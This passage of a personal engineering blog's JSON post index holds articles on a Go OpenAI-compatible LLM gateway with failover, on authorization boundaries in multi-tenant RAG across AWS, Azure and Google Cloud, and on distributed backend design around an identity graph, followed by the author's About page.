the day rolls over, so it never grows unbounded. It is perfect for a single instance. Run more than one replica behind a load balancer and you swap in a shared Limiter (Redis, Postgres) so the cap holds across the fleet. The interface is the entire contract, so that swap is a few lines.\nWhy zero dependencies Modern Go makes the standard library enough for this whole job. A few things that used to need a framework or a library:\nRouting. Go 1.22+ net/http.ServeMux does method and path patterns, so mux.Handle(\u0026quot;POST /v1/chat/completions\u0026quot;, svc.Handler()) is the entire router. Structured logging. log/slog gives JSON logs with no dependency. Discard logger. slog.DiscardHandler is the default when you embed the package and do not want its logs. The payoff is a single static binary with nothing to audit but your own code and the Go toolchain, which goes straight into a distroless image and starts instantly. No transitive dependency tree, no supply-chain surface beyond stdlib.\nUsing it Point any OpenAI SDK at the relay and change only the base URL:\nfrom openai import OpenAI client = OpenAI(base_url=\u0026#34;http://localhost:8080/v1\u0026#34;, api_key=\u0026#34;unused\u0026#34;) stream = client.chat.completions.create( model=\u0026#34;ignored-the-relay-sets-it\u0026#34;, messages=[{\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;Hello!\u0026#34;}], stream=True, extra_headers={\u0026#34;X-User-Id\u0026#34;: \u0026#34;user-123\u0026#34;}, # the per-user quota key ) Run it from the prebuilt image, with a primary and a fallback:\ndocker run --rm -p 8080:8080 \\ -e PROVIDER=groq -e GROQ_API_KEY=$GROQ_KEY -e GROQ_MODEL=llama-3.3-70b-versatile \\ -e FALLBACK=openai -e OPENAI_API_KEY=$OPENAI_KEY -e OPENAI_MODEL=gpt-4o-mini \\ -e DAILY_CAP=50 \\ ghcr.io/sachinsmc/llm-relay:latest PROVIDER is the primary, FALLBACK is a comma-separated chain, and each provider N reads N_API_KEY, N_MODEL, and optional N_BASE_URL. Or skip the server entirely and embed the package: relay.New(cfg) gives you a *Service, and svc.Handler() is a plain http.Handler you can mount on any router, with WithUserFunc to derive the quota key from a JWT or session instead of a header.\nProduction touches A few things that come in the box, because a gateway that holds your keys should not be a toy:\nDistroless image with no shell, built multi-arch, published to GHCR with SLSA build provenance and an SBOM. Curl-less healthcheck. The distroless image has no shell or curl, so the binary probes itself: llm-relay --healthcheck hits /healthz and returns an exit code for the container HEALTHCHECK. Graceful shutdown. SIGINT / SIGTERM trigger srv.Shutdown with a 10s deadline so in-flight streams can drain. ReadHeaderTimeout set on the server to blunt slow-loris style header attacks. Limitations and what is next Being honest about the edges:\nThe default limiter is in-memory and single-instance. Behind a load balancer you need a shared store; the Limiter interface is there for exactly that, but I have not shipped a Redis implementation yet. There is no in-provider retry or backoff. A 429 fails straight over to the next provider rather than retrying the same one after a delay. For a chain with a good fallback that is usually what you want, but it is a choice. No response caching and no token accounting beyond turn counting. Cost-based quotas would need to parse usage out of the stream. If any of that is useful to you, the code is small enough to read in one sitting:\nRepo: github.com/sachinsmc/llm-relay Image: ghcr.io/sachinsmc/llm-relay:latest License: MIT It is new, so issues and PRs are very welcome. If you point it at a provider I have not listed and it just works, tell me, and I will add the name to the registry.\n","permalink":"https://sachinsmc.me/blog/posts/llm-relay-openai-gateway-go/","summary":"I just shipped llm-relay, a small OpenAI-compatible LLM gateway in pure Go (zero third-party dependencies). The interesting part is the failover: when a provider is rate-limited or down, it switches to the next one BEFORE any bytes reach the client, so the caller never sees half a stream and then a different model. Here is how it works, with the real code.","title":"Failover Before the First Byte: An OpenAI-Compatible LLM Gateway in Pure Go"},{"content":" Framing note. I have not shipped this exact architecture in production. This is an explainer built on two AWS reference articles (linked at the end), plus my own opinion about where the real risk lives. Treat the code as illustrative, not copy-paste.\nThe whole problem in one sentence In a single-tenant RAG system you trust the index. Everything in it belongs to the one user you are serving, so \u0026ldquo;retrieve the most relevant chunks\u0026rdquo; is a safe instruction.\nPut two tenants in the same index and that instruction becomes dangerous. \u0026ldquo;Retrieve the most relevant chunks\u0026rdquo; now means \u0026ldquo;retrieve the most relevant chunks from everyone\u0026rsquo;s data,\u0026rdquo; and the only thing standing between Tenant A and Tenant B\u0026rsquo;s confidential documents is a filter you remembered to add. Forget it once, in one code path, and your RAG confidently quotes another customer\u0026rsquo;s contract back to the wrong customer.\nThat is the entire challenge of multi-tenant RAG. It is not the embeddings, the chunking strategy, or the model. It is the boundary, and where you choose to enforce it.\nThe isolation spectrum There are two honest ways to keep tenants apart, and they trade off against each other.\nSilo (index per tenant) Pool (one shared index) Isolation Physical. A query physically cannot reach another tenant\u0026rsquo;s index. Logical. Every query must carry a correct filter. Cost / scale One index, one ingestion pipeline, one set of infra per tenant. Painful past a few dozen. One of everything. Scales to thousands of tenants cheaply. Blast radius of a bug Small. A missing filter returns nothing, not someone else\u0026rsquo;s data. Large. A missing filter returns everyone\u0026rsquo;s data. Noisy-neighbor / ops Isolated but heavy. Shared, so you manage capacity and limits centrally. The silo model is the safe default and the reason many teams start there. But it does not scale: a knowledge base, an ingestion job, and a vector index per customer is a lot of moving parts to multiply by ten thousand. So the interesting, and risky, design is the pooled one: a single knowledge base holding every tenant\u0026rsquo;s documents, with a metadata filter applied at retrieval time to scope each query to its tenant. AWS\u0026rsquo;s metadata-filtering article walks through exactly this with Amazon Bedrock Knowledge Bases. Let me describe the mechanics in my own words, then explain why I think the obvious version of it is a footgun.\nThe pooled pattern, concretely In a single Bedrock knowledge base, tenant separation comes down to three things: how you lay out the source data, how you tag it, and how you filter it back out.\nLayout. Documents land in S3 under a per-tenant prefix, so ownership is obvious from the path and ingestion can scope itself:\ns3://acme-rag-kb/ tenant-a/handbook.pdf tenant-a/contracts/2026-q2.pdf tenant-b/handbook.pdf Tagging. A pooled index is only as good as the metadata on each chunk. With Bedrock Knowledge Bases you attach a sidecar \u0026lt;filename\u0026gt;.metadata.json next to each document, and those fields become filterable attributes on every chunk derived from it:\n{ \u0026#34;metadataAttributes\u0026#34;: { \u0026#34;tenant_id\u0026#34;: \u0026#34;tenant-a\u0026#34;, \u0026#34;doc_type\u0026#34;: \u0026#34;contract\u0026#34;, \u0026#34;sensitivity\u0026#34;: \u0026#34;confidential\u0026#34; } } Filtering. At query time you do not just embed the question and grab the top matches. You constrain the retrieval to the tenant first, and only then rank by similarity. Conceptually:\n// Retrieve request: scope to the tenant BEFORE similarity ranking { \u0026#34;retrievalQuery\u0026#34;: { \u0026#34;text\u0026#34;: \u0026#34;what is our PTO policy?\u0026#34; }, \u0026#34;retrievalConfiguration\u0026#34;: { \u0026#34;vectorSearchConfiguration\u0026#34;: { \u0026#34;filter\u0026#34;: { \u0026#34;equals\u0026#34;: { \u0026#34;key\u0026#34;: \u0026#34;tenant_id\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;tenant-a\u0026#34; } } } } } You can layer more conditions on the same mechanism: doc_type, sensitivity, a date range, an andAll of several predicates. AWS calls the finer-grained version \u0026ldquo;field-specific chunking,\u0026rdquo; where you split and tag content so that a single document can expose different fields to different filters. It is genuinely useful. It is also where the danger compounds, because now correctness depends on every chunk being tagged correctly at ingestion and every query carrying the right filter at retrieval.\nThe reframe: that filter is an access-control check Here is the shift in thinking that the whole post is built around.\nLook at the retrieve request again. The filter clause is not a search optimization. It is the line that decides which tenant\u0026rsquo;s data this user is allowed to see. A vector search over a pooled index is a SELECT over every tenant\u0026rsquo;s documents, and filter: tenant_id = \u0026quot;tenant-a\u0026quot; is the WHERE clause that makes it legal. You would never let application code freely decide the WHERE clause on a shared customer database and trust that every developer, on every code path, forever, gets it right. A RAG retrieval is the same risk wearing different clothes.\nSo the question is not \u0026ldquo;did I add the filter.\u0026rdquo; It is \u0026ldquo;who is allowed to decide the filter, and can I prove it was applied.\u0026rdquo; Once you see retrieval as an authorization decision, the obvious implementation, building the filter inline in your prompt-assembly code, starts to look like exactly the kind of scattered, untestable access control we stopped writing years ago for databases.\nPut the boundary in policy, not app code This is where AWS\u0026rsquo;s second article, on Verified Permissions, fits. The idea is to externalize the decision. Instead of your retrieval code hardcoding tenant_id = currentUser.tenant, it asks a policy engine a question and gets back a yes or no, plus the constraints to apply.\nAmazon Verified Permissions uses Cedar, a small policy language for exactly this. An illustrative policy, written so it is the same shape as what you would actually deploy:\n// A user may read a knowledge-base document only when the document\u0026#39;s // tenant matches the user\u0026#39;s tenant. permit( principal, action == Action::\u0026#34;RetrieveDocument\u0026#34;, resource ) when { resource.tenant_id == principal.tenant_id }; Now the flow inverts. The request arrives with an identity (a JWT from your IdP, say). A thin authorizer, a Lambda in the AWS version, asks Verified Permissions \u0026ldquo;can this principal perform RetrieveDocument, and under what conditions.\u0026rdquo; The decision, and the tenant scope it implies, is what drives the metadata filter. The retrieval code no longer chooses the boundary; it enforces a boundary it was handed.\nThree things get better the moment the boundary lives in policy:\nIt is auditable. The rule \u0026ldquo;a user sees only their tenant\u0026rsquo;s docs\u0026rdquo; is one readable policy, not an implicit invariant spread across every retrieval call site. It is testable. You can unit-test the policy engine with principals and resources and assert allow/deny, without standing up a knowledge base. It fails closed. No identity, no decision, no retrieval. A missing filter in app code fails open (returns everything); a missing decision from a policy engine returns deny. The decision flow, end to end Stitching both articles together, a single retrieval looks like this:\nIdentity becomes a policy decision; the decision becomes the retrieval filter; only then does the model see anything. Deny fails closed.\nThe two AWS pieces are the two halves of this picture. The metadata-filtering article is everything below the policy engine: how chunks get tagged and filtered in one Bedrock knowledge base. The Verified Permissions article is everything above it: how an identity becomes an allow/deny and a tenant scope. The filter is the seam where they meet, and treating that seam as an authorization decision is what keeps the two halves honest.\nThe same shape on three clouds None of this is AWS-specific. Swap the service names and the architecture is identical on Azure and Google Cloud: an identity becomes a policy decision, the decision yields a tenant scope, and that scope becomes a filter on a managed retrieval call before generation. Here is the equivalence, component by component.\nComponent AWS Azure Google Cloud Identity / IdP Amazon Cognito Microsoft Entra ID Identity Platform API + authorizer API Gateway + Lambda authorizer API Management + Functions API Gateway / Apigee + Cloud Run Policy decision Verified Permissions (Cedar) Entra ID groups, or OPA IAM Conditions, or OPA Managed retrieval Bedrock Knowledge Bases Azure AI Search Vertex AI RAG Engine Tenant filter metadata equals filter OData $filter (security-trim pattern) schema-based metadata_filter Vector store OpenSearch Serverless / Aurora pgvector Azure AI Search index Vertex AI Vector Search Source docs Amazon S3 Azure Blob Storage Google Cloud Storage LLM Amazon Bedrock Azure OpenAI Vertex AI (Gemini) AWS client ─JWT─► API Gateway + Lambda authorizer │ ▼ Verified Permissions (Cedar) ─deny─► 403 │ allow + tenant scope ▼ Bedrock Knowledge Base .retrieve filter: tenant_id = \u0026lt;scope\u0026gt; ◄── S3 docs + .metadata.json │ ▼ Bedrock (Claude, etc.) ─► grounded answer import boto3 bedrock = boto3.client(\u0026#34;bedrock-agent-runtime\u0026#34;) # `tenant` comes from the policy decision, never from user input. resp = bedrock.retrieve( knowledgeBaseId=\u0026#34;kb-acme\u0026#34;, retrievalQuery={\u0026#34;text\u0026#34;: question}, retrievalConfiguration={ \u0026#34;vectorSearchConfiguration\u0026#34;: { \u0026#34;filter\u0026#34;: {\u0026#34;equals\u0026#34;: {\u0026#34;key\u0026#34;: \u0026#34;tenant_id\u0026#34;, \u0026#34;value\u0026#34;: tenant}}, } }, ) Azure client ─JWT─► API Management + Function │ (Microsoft Entra ID + group claims) ▼ authz decision (Entra groups / OPA) ─deny─► 403 │ allow + tenant scope ▼ Azure AI Search .search $filter: tenant_id eq \u0026#39;\u0026lt;scope\u0026gt;\u0026#39; ◄── Blob Storage docs │ ▼ Azure OpenAI ─► grounded answer from azure.search.documents import SearchClient from azure.search.documents.models import VectorizedQuery client = SearchClient(endpoint, index_name, credential) # Azure formalizes this as the \u0026#34;security filter pattern\u0026#34;: the OData # filter IS the access check. `tenant` comes from the verified identity. results = client.search( search_text=None, vector_queries=[VectorizedQuery( vector=embed(question), fields=\u0026#34;content_vector\u0026#34;, k_nearest_neighbors=5)], filter=f\u0026#34;tenant_id eq \u0026#39;{tenant}\u0026#39;\u0026#34;, ) Google Cloud client ─JWT─► API Gateway / Apigee + Cloud Run │ (Identity Platform) ▼ authz decision (IAM Conditions / OPA) ─deny─► 403 │ allow + tenant scope ▼ Vertex AI RAG Engine retrieval_query metadata_filter: tenant_id == \u0026#34;\u0026lt;scope\u0026gt;\u0026#34; ◄── GCS docs + schema │ ▼ Vertex AI (Gemini) ─► grounded answer from vertexai import rag # IMPORTANT: on Vertex, metadata_filter silently does NOTHING unless the # corpus has a metadata SCHEMA defined first. Define it at ingestion, or # this \u0026#34;filter\u0026#34; returns everyone\u0026#39;s chunks. (More on this below.) cfg = rag.RagRetrievalConfig( top_k=5, filter=rag.Filter(metadata_filter=f\u0026#39;tenant_id == \u0026#34;{tenant}\u0026#34;\u0026#39;), ) contexts = rag.retrieval_query( rag_resources=[rag.RagResource(rag_corpus=corpus)], text=question, rag_retrieval_config=cfg, ) Where they diverge: who owns the decision The shape is the same; the difference is whether there is a purpose-built place to put the authorization decision. AWS is the only one of the three with a dedicated, externalized policy engine for application authz (Verified Permissions, speaking Cedar). On Azure and GCP you either lean on the managed search\u0026rsquo;s built-in security filtering, keyed off your IdP\u0026rsquo;s group claims (Azure AI Search\u0026rsquo;s security-trim pattern, Vertex\u0026rsquo;s document ACLs), or you bring your own policy engine such as Open Policy Agent. The thesis does not change with the logo: the tenant filter is the authorization decision. All that moves is who gets to make it, and how easy it is to audit afterward.\nWhere it still goes wrong (my take) Externalizing the policy removes the biggest footgun. It does not remove all of them. The failure modes I would watch:\nThe filter that silently no-ops. If a query is built with a misspelled key (tenantId vs tenant_id) or a filter that does not match the indexed attribute name, many vector stores do not error. They just ignore the filter and return unfiltered results. This is not hypothetical: on Vertex AI RAG Engine, the high-level metadata_filter silently does nothing unless you defined a metadata schema on the corpus first, so a \u0026ldquo;filtered\u0026rdquo; query happily returns every tenant\u0026rsquo;s chunks. Test that a wrong filter returns nothing, not that a right one returns something. Ingestion-time mis-tagging. Policy at retrieval cannot save you if a document was tagged with the wrong tenant_id, or with none, at ingestion. The boundary is only as trustworthy as the weakest write into the index. Tag at ingestion from the trusted S3 prefix, never from anything user-supplied, and reject untagged chunks. Field-specific chunking as attack surface. The more granular your per-field tagging, the more places a single mislabeled chunk leaks. Granularity buys flexibility and costs you correctness guarantees. Add it deliberately. \u0026ldquo;The model already saw it, so it is fine.\u0026rdquo; Once a cross-tenant chunk is in the context window, the boundary has already failed. There is no downstream guardrail, no system-prompt instruction, that reliably un-leaks data the model can read. The enforcement has to be at retrieval, before generation, every time. Embeddings are data too. If you ever expose similarity scores, nearest-neighbor ids, or let one tenant influence another\u0026rsquo;s index, you can leak signal even without returning raw text. Keep the index logic on the server. The throughline: in multi-tenant RAG, every layer below the policy decision is a place to leak, and the model is the one layer that cannot help you. So you move the decision up front, make it explicit, make it fail closed, and prove it ran.\nRead the originals This post is my synthesis and opinion. The two AWS reference articles it builds on are worth reading in full for the concrete Bedrock wiring:\nSecure multi-tenant RAG with Amazon Bedrock and Verified Permissions (AWS Architecture Blog) for the authorization layer. Multi-tenancy in RAG applications in a single Amazon Bedrock knowledge base with metadata filtering (AWS Machine Learning Blog) for the metadata-filtering mechanics. If you are building this, start siloed, move to pooled only when scale forces it, and the day you pool, put the tenant boundary in a policy engine. Future you, reading an incident report, will be grateful.\n","permalink":"https://sachinsmc.me/blog/posts/multi-tenant-rag-authorization-boundary/","summary":"In a single-tenant RAG you trust the index. In a multi-tenant one, a shared index plus one missing filter leaks Tenant A\u0026rsquo;s documents into Tenant B\u0026rsquo;s answer. Here is the unified mental model that ties the metadata-filtering mechanics and the authorization layer together, treat the tenant filter as a policy decision, not app code, with the same architecture mapped across AWS, Azure, and Google Cloud (diagrams and Python included).","title":"Every Retrieval Is an Authorization Decision: Multi-Tenant RAG Done Safely"},{"content":" What this is. A practical guide to distributed backend design, built around one worked example. The example is inspired by Airbnb\u0026rsquo;s identity graph, which runs at 7 billion nodes and 11 billion edges, but the design here is my own and deliberately smaller. The Node.js snippets are illustrative, not production code.\nThe query that breaks your database Start with an innocent question from a Trust and Safety team: \u0026ldquo;is this new account the same person as a banned one?\u0026rdquo;\nOn day one you answer it with a join. Accounts share a device, a payment fingerprint, an address, so you join accounts to devices to accounts and call it identity resolution. On day two the question becomes \u0026ldquo;is this account connected, within four hops, to any banned account through any shared signal?\u0026rdquo; Now you are writing a recursive self-join across a table with hundreds of millions of rows, and your database is doing a graph traversal while pretending to be a relational store. It works until it doesn\u0026rsquo;t, and when it stops working it does so at exactly the worst time, under a P99 you cannot explain.\nThat is the moment a single-box, single-model design ends and a distributed system begins. The rest of this post is about doing that transition deliberately. The thesis is simple: a good distributed system is mostly a few separations, plus a real respect for the tail. Get those right and scaling is mechanical. Get them wrong and no amount of hardware saves you.\nWe will build the thing that answers the identity question: a graph service where accounts and signals are nodes, observations are edges, and the questions are multi-hop traversals.\nThe shape we are building toward. Note that the write path (left) and the read path (right) only meet at the store, and otherwise scale on their own.\nModel for the access pattern, not the data The first separation is between how data is and how it is queried. Identity data is relationships, and the queries are \u0026ldquo;walk the relationships.\u0026rdquo; A relational store can hold that, but every query pays for the mismatch in joins. A graph store (a labeled property graph, queried with traversals) makes the access pattern native: nodes have labels and properties, edges have types, and \u0026ldquo;four hops from here\u0026rdquo; is one traversal instead of four joins.\nOur model is small on purpose:\n// nodes: an account or a signal (device, payment fingerprint, address) const node = { id: \u0026#34;acct:9f2\u0026#34;, label: \u0026#34;account\u0026#34;, props: { createdAt, country } }; // edges: an observed link, typed, directional, with provenance const edge = { from: \u0026#34;acct:9f2\u0026#34;, to: \u0026#34;dev:abc\u0026#34;, type: \u0026#34;USED_DEVICE\u0026#34;, observedAt }; Picking the model first is not a database-shopping decision, it is the decision that determines every later one: how you shard, what you cache, where the tail latency comes from. Airbnb landed on JanusGraph over a key-value backend for exactly this reason. You do not need their stack. You need their order of operations: model, then store.\nSeparate storage from compute The second separation is the one most teams skip and later regret. The thing that runs your traversals (the compute layer) and the thing that durably holds your bytes (the persistence layer) have different lifecycles, different scaling curves, and different failure modes. Couple them and you scale both when you need one, and you cannot replace either without replacing the other.\nSo put a seam there. The graph engine speaks traversals; behind a storage interface it reads and writes from whatever persists best (a managed key-value store, say). This is precisely the JanusGraph pattern: a pluggable backend so the graph layer and the storage layer evolve independently. The payoff is concrete. When writes spike you scale ingestion and storage without touching query nodes. When a gnarly traversal needs more CPU you scale compute without resharding your data.\nThe principle generalizes past graphs: a stateless compute tier in front of a stateful storage tier is the most reliable shape in distributed systems, because stateless things are trivial to scale and stateful things are where all the hard problems live. Keep the hard problems in one place.\nSplit the read and write paths Reads and writes in this system could not be more different. Writes are a firehose of small, independent observations: Airbnb takes about 5 million new edges per day. Reads are bursty, latency-sensitive, and expensive, since one read can fan out across thousands of edges. Sizing one path for the other wastes money on a good day and falls over on a bad one.\nSo isolate them. The write path is asynchronous: producers emit events, a stream buffers them, an ingestion service applies them.\n// write path: events arrive on a stream and are applied asynchronously. // producers never block on the graph; the stream absorbs spikes. stream.subscribe(\u0026#34;identity-events\u0026#34;, async (evt) =\u0026gt; { await ingest.applyEdge(evt); // upsert into the graph store }); The read path is synchronous and tuned for latency, with its own service, its own cache, and its own scaling. They meet only at the store. Airbnb isolates read and write traffic in the compute layer for the same reason: a slow, resource-hungry write must not be able to degrade a user-facing read. Two paths, two budgets, one source of truth.\nGo async at the edges, strict at the core Asynchrony buys you throughput and decoupling, but it hands you two problems: messages arrive more than once, and they arrive out of order. A good distributed system answers both at the boundary so the core stays simple.\nIdempotency. If an edge event is delivered twice, applying it twice must equal applying it once. Key the edge deterministically and make the write conditional:\n// the same observation may be delivered more than once. Deterministic id // + conditional write = applying it twice equals applying it once. async function upsertEdge(db, { from, to, type, observedAt }) { const edgeId = `${type}:${from}-\u0026gt;${to}`; await db.put({ Item: { edgeId, from, to, type, observedAt }, ConditionExpression: \u0026#34;attribute_not_exists(edgeId) OR observedAt \u0026lt; :t\u0026#34;, // newer wins, retries no-op ExpressionAttributeValues: { \u0026#34;:t\u0026#34;: observedAt }, }).catch(ignoreConditionalFailure); } Strictness where it counts. Most of the system is happily eventually consistent: a new edge showing up a second late is fine. But some writes are correctness-critical. Merging two identities into one must not interleave with another merge, or you corrupt the graph. That is where you spend a strong guarantee, with a compare-and-set on a version:\n// merging identities IS correctness-critical: compare-and-set on a version // so two concurrent merges cannot interleave and corrupt the node. async function mergeInto(db, survivor, merged, expectedVersion) { await db.update({ Key: { id: survivor }, UpdateExpression: \u0026#34;SET aliases = list_append(aliases, :m), version = :nv\u0026#34;, ConditionExpression: \u0026#34;version = :ev\u0026#34;, // optimistic concurrency ExpressionAttributeValues: { \u0026#34;:m\u0026#34;: [merged], \u0026#34;:ev\u0026#34;: expectedVersion, \u0026#34;:nv\u0026#34;: expectedVersion + 1, }, }); } This is the real lesson behind Airbnb\u0026rsquo;s \u0026ldquo;custom transaction strategy on top of conditional writes.\u0026rdquo; You do not make the whole system strongly consistent; that is slow and usually pointless. You find the few writes that must be atomic and spend a conditional write there, and you let everything else be eventually consistent. Strong guarantees are a budget. Spend them where corruption is unrecoverable, nowhere else.\nDesign for the tail, not the average Here is the principle people learn last and wish they had learned first. At scale your average latency is a comforting lie. What pages you is P99, and in a graph the P99 has a name: the high-fanout node. Most accounts touch a handful of signals. A shared corporate IP or a popular device touches millions. A traversal that wanders into one of those tries to expand millions of edges and drags your tail to the floor.\nTwo defenses, both mandatory.\nBatch the fan-out. Never do one query per neighbor. Expand a whole frontier in one batched call per hop:\n// expand a 2-hop neighborhood in batched waves: one call per hop, // not one call per neighbor (which melts the tail on high-fanout nodes). async function neighborsWithin2Hops(store, root) { const hop1 = await store.batchGetNeighbors([root]); const frontier = dedupe(hop1.flatMap((e) =\u0026gt; e.to)); const hop2 = await store.batchGetNeighbors(frontier); // batched, deduped return { hop1, hop2 }; } Cap the fan-out. A synchronous, user-facing read has no business expanding a million-edge node in full. Bound it, and be honest that you did:\nconst MAX_FANOUT = 1000; function expand(node) { if (node.degree \u0026gt; MAX_FANOUT) { return { neighbors: node.topEdgesByRecency(MAX_FANOUT), truncated: true }; } return { neighbors: node.allEdges(), truncated: false }; } The truncated flag matters as much as the cap. Silent truncation is a correctness bug wearing a performance costume; a surfaced flag lets the caller decide whether to push the heavy expansion to an offline path. Airbnb attacks the same tail with parallel query execution and client-side rewrites that strip expensive steps. Same goal: bound the worst case, do not just hope you never hit it.\nThe things you only value during an incident Three more, quickly, because they do not announce themselves until 3 a.m.\nMulti-tenancy and isolation. One shared graph serving many teams needs isolated namespaces with enforced schemas, or one team\u0026rsquo;s bad write becomes everyone\u0026rsquo;s incident. Isolation is not a feature you add later; retrofitting it means re-keying your data. Observability is part of the system, not a dashboard you bolt on. A four-to-eight-hop traversal that is slow is undebuggable without distributed tracing that shows you which hop and which storage call hurt. If you cannot see per-hop latency, you cannot fix the tail you just spent a section learning to fear. Build versus buy is a real, ongoing cost. Airbnb forked JanusGraph and took on operational ownership to get performance control and escape vendor lock-in. That is a legitimate trade, but it is a trade: you are buying control with engineer-years. Make it on purpose, not by drift. Putting it together, then making it smaller The full shape is now: producers to a stream, an idempotent ingestion service writing through a storage seam into a graph store with a hot-subgraph cache, a separate read service doing batched, bounded, parallel fan-out behind an API, tenants isolated by namespace, tracing through every hop. That is a system that answers the four-hop identity question at scale without paging you.\nAnd you should not build all of it on day one. The honest move is to start with the smallest thing that respects the principles without paying for the scale you do not have yet:\nOne graph store, no separate cache, until reads actually hurt. Idempotent writes from the very first commit. This one is free and un-retrofittable, so never skip it. A fan-out cap from the very first read path, for the same reason. Read and write as separate services only once their scaling curves visibly diverge. Before that, separate modules with a clean seam is enough. Every separation in this post is something you can add at the seam later if you put the seam in now. That is the whole craft: cheap seams early, expensive scaling late, and a fan-out cap before you think you need one. For the version of this system that runs at 7 billion nodes, with the war stories that justify each choice, read Airbnb\u0026rsquo;s writeup. Then go build the small version, with the seams in the right places.\n","permalink":"https://sachinsmc.me/blog/posts/distributed-systems-field-guide/","summary":"Most of what makes a distributed system good is a handful of disciplined separations plus a real respect for the tail. To make that concrete, we design a small identity graph service from scratch, the same shape of system Airbnb runs at 7 billion nodes, and watch each principle earn its place. Node.js snippets included.","title":"Separations and the Tail: A Field Guide to Distributed Backend Design"},{"content":"Hi, I\u0026rsquo;m Sachin Chavan, a Software Engineer at ReasonSoftware based in Dubai, UAE.\nI work across the stack, in Go, Node.js, Python, and React, with DevOps across AWS, GCP, Azure, and Oracle Cloud. My focus is cybersecurity, AI/ML, and blockchain, and I care a lot about clean systems, learning continuously, and self-improvement.\nWhat I work on Day to day I work in Go, Node.js, and Python, with React on the front end. A sample of my open-source work, across languages:\nllm-relay, an OpenAI-compatible LLM gateway with provider failover (Go) shodan, a CLI for interacting with the Shodan API (Go) ethblock-store, an Ethereum block-detail store (Node.js) turbo-fmt-println, a VS Code extension that automates debug logging (TypeScript) mood-tune, mood-based music playback on the Spotify API (Go) gitgrab, download individual folders from any Git repository (Go) On this blog I write about engineering across the stack, from backends and infrastructure to AI, cloud, and security, plus lessons from things that went sideways. The posts span the languages I actually use: Go in the llm-relay writeup, Python in the TurboQuant and multi-tenant RAG pieces, and Node.js in the distributed systems guide. If a post saves you from a mistake I made, it did its job.\nGet in touch GitHub: github.com/sachinsmc X: @smcsachin Email: hey@sachinsmc.me ","permalink":"https://sachinsmc.me/blog/about/","summary":"About Sachin Chavan","title":"About"}]